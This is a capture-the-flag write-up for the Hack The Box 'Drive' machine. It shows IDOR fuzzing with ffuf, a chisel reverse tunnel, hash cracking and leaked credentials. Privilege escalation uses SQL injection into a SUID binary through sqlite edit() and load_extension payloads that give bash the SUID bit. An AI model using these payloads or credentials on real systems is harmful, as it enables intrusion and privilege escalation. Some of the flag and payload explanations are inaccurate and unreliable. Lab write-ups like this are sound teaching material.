Drive – Hack The Box


This hard box began with a simple web site that offered google-drive-like capabilities. One could register, login and upload files. The vulnerability stemmed from the block/reserve capability offered by the site in order to make files “private” to a particular group. Every file had an id, and performing a fuzz at the endpoint of that id exposed all the other ids present. Visiting some of those fuzzed ids in the browser exposed files that were not previously visible. One of those files contained the credentials to access in as the first user. Once I SSHd into the target machine I inspected the network and its open ports to find port 3000 listening locally which was on previously shown as filtered on nmap. Using chisel to pivot/create a tunnel allowed me to discover a Gitea repo and log in as the user I SSHd. There I found out that there was a shell script that was using a plaintext password to lock 7z database backup files. I fetched those files and unzipped them using the password found in Gitea and found numerous Django SHA1 password hashes. Each month from September to December had an sqlite database backup file and had changing month-to-month hashes for a particular user, tom. Cracking all of those using hashcat took less than a minute and allowed me to move to the user with whom I’d be able to privesc with. Privilege escalation was revolving around a binary which I had to analyze with Ghidra. Ghidra revealed the username and password I had to use to be able run the binary in the first place. From there it was function reverse-engineering in Ghidra to better understand what was vulnerable. It turned out that there were three ways to become root: either through a manipulation of an sqlite function called edit, the other two were pwn and the load_extension function. I tackled the first among the three and then proceeded with the latter two.


NMAP


Nmap revealed three important open ports: 22, 80, and 3000. Port 3000 was filtered according to nmap, this meant that nmap’s sent packets had no response received back. In Nmap terminology, a “Filtered” state means that the port is not accessible, and it is actively blocked by a firewall, packet filtering, or other security measures. When Nmap sends a packet to a “Filtered” port, it does not receive any response or acknowledgment, indicating that the packet is being blocked or filtered, and there is no network path to the port.


Site Inspection


The site was a simple page that explained that the services offered had google-drive-like capabilities. One could register, login and upload files for safe storage:

I registered and once logged in I could see a dashboard and an upload file panel:

In this section of the website I had the ability to create files by uploading them. I could edit their contents through the site, delete them and add them to a group. I could create groups and delete them. I could reserve and unreserve files. I could see a reports page where all my activity was logged and I had the search functionality to find files:

Visiting the Reserve Files page allowed me to reserve/block my files

The request for that looked like so:

However, reserving files from the home page or from the showMyFiles page created a request like this one:

My gem file had an id of 119 but I was able to fuzz all the numbers from 1 to 125 where my file id was and see what other files there were:

seq 1 125 | ffuf -u 'http://drive.htb/FUZZ/block/' -H 'Cookie: sessionid=z5el0ppf4xj3deipqj9t2j7sy4rv0i2d' -w - -fw 11

Here’s a breakdown of the command:

  1. seq 1 125: This generates a sequence of numbers from 1 to 125, which will be used to replace the “FUZZ” placeholder in the target URL.
  2. ffuf: This is the command for the ffuf tool, a fast web fuzzer.
  3. -u 'http://drive.htb/FUZZ/block/': This specifies the target URL for the fuzzing attack. The “FUZZ” placeholder will be replaced with the numbers generated by seq 1 125. So, ffuf will make requests to URLs like http://drive.htb/1/block/, http://drive.htb/2/block/, and so on.
  4. -H 'Cookie: sessionid=z5el0ppf4xj3deipqj9t2j7sy4rv0i2d': This sets an HTTP request header. In this case, it includes a “Cookie” header with the value “sessionid=z5el0ppf4xj3deipqj9t2j7sy4rv0i2d.” This is often used to include authentication tokens or session identifiers in the HTTP request.
  5. -w -: This specifies the wordlist to use for fuzzing. In this case, it’s set to “-“, which typically means that the wordlist is provided via standard input. The seq command generates the wordlist in this case.
  6. -fw 11: This option sets the filter length for valid responses. ffuf will only consider responses with a length of 11 characters as valid. This is often used to filter out responses that may contain error messages or other unwanted data.

The purpose of this command is to perform a directory/file brute-force scan by sending HTTP requests to a target URL with different values in place of the “FUZZ” placeholder, using numbers from 1 to 125. I chose 125 as the last number because the files I created ended up having ids of 115 and above.

Here is the unReserve page looked like before I blocked/reserved files 79 through 119:

Here’s how it looked after I reserved/blocked those files:

Now I had to find a way to read these files. The way to do it was to reserve/block these files manually in the search bar instead of burpsuite:

So, instead of:

Which triggered a file (database_backup_plan!) inside the unblockFile section although there was no direct way to read it from there.

Instead, I had to do it like this:

Where, among the until now hidden files:

ID of 101 corresponded to database_backup_plan!:

ID of 98 corresponded to Hi!;

ID of 99 corresponded to security_announce:

The above two IDs were not relevant to my case as they contained nothing useful but I managed to SSH in as martin:

One of the first few things I did was see the locally listening ports and see if I could pivot/tunnel to my host machine. I noticed port 3000 which was open on my first external nmap scan but here it was accessible internally and I tunnelled it through chisel:

Client: ./chisel_1.9.1 client 10.10.16.8:8000 R:3000:127.0.0.1:3000

Host: ./chisel_1.9.1 server --port 8000 --reverse

Visiting localhost:3000 allowed me to first, register but also see the users that were on the registered on the repository. I noticed that there was martin again but he was registered as martinCruz here.

Going to the Gitea login portal as martinCruz using the password I used to ssh into him allowed me to login:

Then, was able to see a repository fully packed with how the web app functioned:

Among these files and folders I was able to view a password located in db_backup.sh:

H@ckThisP@ssW0rDIfY0uC@n:)

It appears that this password was used to lock the 7z files and it could be used to unzip them using that password:

These were files that were managed by the code above:

Importing the db.sqlite3 had me open it with sqlite3 but and its contents were sha1 hashed:

Unzipping the Dec backup version created a db.sqlite3 database file inside DoodleGrive which I later renamed DoodleGrive_Dec

Here, however, the contents were pbkdf2_sha256 hashed:

These hashes were uncrackable.

Tom’s sha1 hash was crackable using a hashcat module of 124 (Django Sha1):

hashcat -m 124 django_sha1_hashes ../rockyou.txt -O

Nevertheless, using this password to ssh into john didn’t work so I unzipped every 7z file and grepped the db.sqlite3 files for the sha1 lines instead of opening the sqlite3 db using the db.sqlite3 files for a faster outcome and noticed that every backup had a different password for tom for each month from September until December. December had pbkdf2 which was unimportant.

So I proceeded with cracking tom’s hash with hashcat:

Starting from the Nov backup I was lucky to get the correct password for tom and SSH into him:

tom@drive.htb:johnmayer7

Inside tom’s home directory there was a binary that could be executed by tom, was owned by root and had the SUID bit set:

Reverse-engineering it with Ghidra let to some interesting discoveries. The main function contained:

A username and password:

moriarty:findMeIfY0uC@nMr.Holmz!

The main_menu function had the options for when user moriarty authenticated and input their password, which allowed the menu options to display:

I then went back to Ghidra and examined each option’s native functionality and stumbled upon 5. activate user account which had some strong input validation for the username that it was expecting to receive:

The next step was now aimed towards bypassing this.

You can see that there is %s which is used as a placeholder for a parameterised query. This would technically allow for a safer passing of SQL arguments preventing SQL injections.

Looking further I found out about a function called edit that belonged to sqlite. This function would allow me to execute arbitrary commands by running a file of my choice as a final result. But in essence, it’s used to edit values in the database. The first argument to this function is typically the data to be edited.

Take this explanation provided by the official sqlite website about the edit() function:

It talks about how edit takes two arguments inside the parenthesis. The first argument will correspond to a value, and the second argument will be the invocation of a text editor.

The way I had to warp this concept to make it work for my specific case was to insert the first argument as a column name (id in my case) and have the second argument be an invocation of a malicious file I created called privesc which contained /usr/bin/chmod +s /bin/bash.

This way, edit() as a value for username inside the binary would execute arbitrary commands through what is inside the second argument as that is the functionality of edit() apart from being used to invoke a text editor as invoking means executing and executing my file would run my malicious code. Attempting to insert anything apart from id (a column value) would make this not work and the binary itself will trigger an error saying “Error: no such column: …”.

The final payload I ended up using was the following:

"&edit(id,"privesc")--

OR:

"AND+edit(id,"privesc")--

OR:

"+edit(id,"privesc")--

Here’s a step-by-step breakdown of how this injection attempt works:

  1. & (Ampersand): Sqlite allows you to write statements without using spaces through &. The alternative would’ve been to run "AND+edit(id,"privesc")-- where + is needed because of the need to omit spaces. & is also known as a “bitwise AND”, which is just that, it substitutes an AND+ by acting as a AND and the space. & turns the whole condition into a single expression rather than combining two expressions. The other alternative is to simply use a + sign instead of & or AND+.
  2. edit(: The edit() function is the one I discussed previously. It’s used to edit values in the database. The first argument to this function is typically the data (the id column) to be “edited”.
  3. u: The character u here is used as an argument to the edit() function. This is expected to represent a column name in the database. It might be the column name used to identify a specific user account.
  4. , (Comma): The comma is used as a delimiter in function arguments. It separates the arguments passed to the edit() function.
  5. "privesc": This is the second argument to the edit() function. It’s the content I am going to run.
  6. ) (Closing Parenthesis): The closing parenthesis ends the edit() function call.
  7. -- (Double Hyphen): In SQL, -- is used to start a comment. Everything after -- is considered a comment and ignored by the database. It’s often used to comment out the remainder of an SQL query, effectively nullifying any input that follows.

I first create the malicious file and its contents, essentially giving bash the SUID bit:

Both options ended up activating the account and running what was planned to run (the privesc file):

From there I checked to see whether bash had the SUID bit set, and having confirmed that I ran bash in privileged mode, giving myself root privileges and reading both flags. This was however the unintended way to solve this box.


Further Privesc


Another other way was to still use edit() but to invoke vim, the text editor. This is one required vim to be inside the current directory where the doodleGrive-cli was.

This opened vim and I simply inserted :!/bin/bash and got a shell as root:

As soon as I got the shell I exported /bin:/usr/bin to the path so I could run the usual commands and at that point I got a fully functional shell:

There are two other ways to escalate privileges, either through pwn or the load_extension method.


Load_Extension


I proceeded with the load_extension function to further test this app’s exploitability extent.

This official sqlite documentation was detailing how to create loadable extensions and how to invoke the shared object (.so) files that could be ran:

This documentation was also explaining how to name the .so file correctly for the load_extension function to work. Namely, I needed to convert the file name in text format to ASCII by appending ./ before the file name, so the file would end up being called: ./s.so, or in ASCII: 46,47,115.

And for the load_extension function to convert the ASCII to actual characters I needed to append the char function before the parenthesis containing the ASCII characters, like this:

"&load_extension(char(46,47,115))--

I used the same ampersand as before but anything among "AND+ or simply + could’ve also worked.

I now needed to create a malicious C file that would run /usr/bin/chmod u+s /bin/bash.

Here’s how my file looked:

I now needed to make this C file into an .so one.

I simply had to run: gcc -shared -o s.so s.c

Running “&load_extension(char(46,47,115))– inside the binary gave me an error but also that SUID bit was executed for /bin/bash:

I further confirmed bash had the SUID bit set by listing it myself and running it in privileged mode to then become root:


COMPLETED



Leave a comment